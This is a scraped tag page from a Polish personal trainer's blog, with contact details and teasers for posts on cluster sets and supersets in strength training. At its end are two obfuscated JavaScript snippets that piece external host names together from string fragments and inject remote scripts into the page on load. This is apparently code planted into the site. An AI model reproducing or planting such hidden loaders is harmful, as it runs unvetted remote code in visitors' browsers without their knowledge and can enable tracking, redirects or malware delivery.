kontakt@przemekjurek.pl

+48 732 496 635

Tag: technika treningowa

Kategorie:

metoda Cluster Set w praktyce - efekty

Metoda Cluster Set w treningu siłowym – jak działa i kiedy warto ją stosować?

12 sierpnia, 2024

Wyobraź sobie, że możesz przełamać stagnację w treningu siłowym poprzez zastosowanie prostej, ale zarazem bardzo skutecznej modyfikacji swoich serii roboczych.

Czytaj więcej >

Efekty metody superserii

Superserie w treningu siłowym – jak, kiedy i po co je stosować?

10 sierpnia, 2024

Z mojego doświadczenia trenera personalnego wiem, że wciąż szukasz sposobów, by trenować efektywniej i maksymalnie wykorzystywać czas spędzany na siłowni.

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();